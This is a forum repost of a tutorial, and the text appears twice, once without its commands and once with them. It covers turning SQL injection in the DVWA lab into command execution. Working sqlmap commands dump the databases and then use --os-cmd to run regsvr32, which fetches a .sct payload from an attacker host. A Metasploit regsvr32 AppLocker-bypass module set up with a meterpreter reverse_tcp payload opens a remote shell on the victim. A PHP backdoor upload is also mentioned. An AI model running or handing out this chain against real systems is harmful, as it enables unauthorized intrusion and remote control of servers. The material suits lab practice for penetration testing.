mroug
Topical Authority Builder
Divine
2
MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1
300 XP
In this article, we will see how to perform command injection using sqlmap and try to execute any cmd command through sqlmap if the web server is having SQL vulnerability.
Requirement
Very first you need to install DVWA lab in your XAMPP or WAMP server, read the full article fromhere
Now open the DVWA in your pc and log in with following credentials:
Username – admin
Password – password
Click on DVWA Security and set Website Security Level low
From the list of vulnerability select SQL Injection for your attack. Type user ID: 1 in the text box. Don’t click on submit button without setting browser proxy. Set your browser proxy to make burp suite work properly.
Turn on burp suite click on the proxy in the menu bar and go for intercept is on the button. Come back and click on submit button in dvwa. Burp suit will provide” cookie” and “referrer” under fetched data which will later use in sqlmap commands.
Let’s enumerate all databases name using “referer and cookies” under sqlmap command.
Notice the image given below it has dumped all names of the database. Now we are going to choose dvwa for a command injection attack.
Now open another terminal for Metasploit framework and Type msfconsole.
This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique. The module creates a web server that hosts a .sct file. When the user types the provided regsvr32 command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command. This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).
Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.
Above module will generate a malicious code as a DLL file. Copy the selected part for dll file and then run this malicious code using the sqlmap command
Now we’re going to execute dll file through CMD command using sqlmap, therefore, paste above malicious code in sqlmap command as shown in the image given below.
Then type 4 for php payload and type 1 for a common location to upload payload as a backdoor in victim PC.
As soon as the command will execute come back to the Metasploit framework and you will get meterpreter session 1 opened.
Author: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here
Requirement
- Xampp/Wamp Server
- DVWA Lab
- Kali Linux: Burp suite, sqlmap tool
Very first you need to install DVWA lab in your XAMPP or WAMP server, read the full article fromhere
Now open the DVWA in your pc and log in with following credentials:
Username – admin
Password – password
Click on DVWA Security and set Website Security Level low
From the list of vulnerability select SQL Injection for your attack. Type user ID: 1 in the text box. Don’t click on submit button without setting browser proxy. Set your browser proxy to make burp suite work properly.
Turn on burp suite click on the proxy in the menu bar and go for intercept is on the button. Come back and click on submit button in dvwa. Burp suit will provide” cookie” and “referrer” under fetched data which will later use in sqlmap commands.
Let’s enumerate all databases name using “referer and cookies” under sqlmap command.
Code:
sqlmap -u "http://192.168.0.102/dvwa/vulnerabilities/sqli/?id=1&submit=submit" --cookie="security=low; security_level=0; PHPSESSID=9v3dfoh1j1n6pc1ea0ovm84ik2" --dbsNotice the image given below it has dumped all names of the database. Now we are going to choose dvwa for a command injection attack.
Now open another terminal for Metasploit framework and Type msfconsole.
This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique. The module creates a web server that hosts a .sct file. When the user types the provided regsvr32 command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command. This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).
Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.
Code:
msf > use exploit/windows/misc/regsvr32_applocker_bypass_server
msf exploit(regsvr32_applocker_bypass_server) > set payload windows/meterpreter/reverse_tcp
msf exploit(regsvr32_applocker_bypass_server) > set lhost 192.168.0.104
msf exploit(regsvr32_applocker_bypass_server) > set srvhost 192.168.0.104
msf exploit(regsvr32_applocker_bypass_server) > set srvport 5555
msf exploit(regsvr32_applocker_bypass_server) > exploitAbove module will generate a malicious code as a DLL file. Copy the selected part for dll file and then run this malicious code using the sqlmap command
Now we’re going to execute dll file through CMD command using sqlmap, therefore, paste above malicious code in sqlmap command as shown in the image given below.
Code:
sqlmap -u "http://192.168.0.102/dvwa/vulnerabilities/sqli/?id=1&submit=submit" –-cookie="security=low; security_level=0; PHPSESSID=9v3dfoh1j1n6pc1ea0ovm84ik2″ -D dvwa --os-cmd="regsvr32 /s /n /u /i:
http://192.168.0.104:5555/AVM0rtWSE.sct scrobj.dll"Then type 4 for php payload and type 1 for a common location to upload payload as a backdoor in victim PC.
As soon as the command will execute come back to the Metasploit framework and you will get meterpreter session 1 opened.
Code:
sessions -i 1
meterpreter>sysinfoAuthor: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here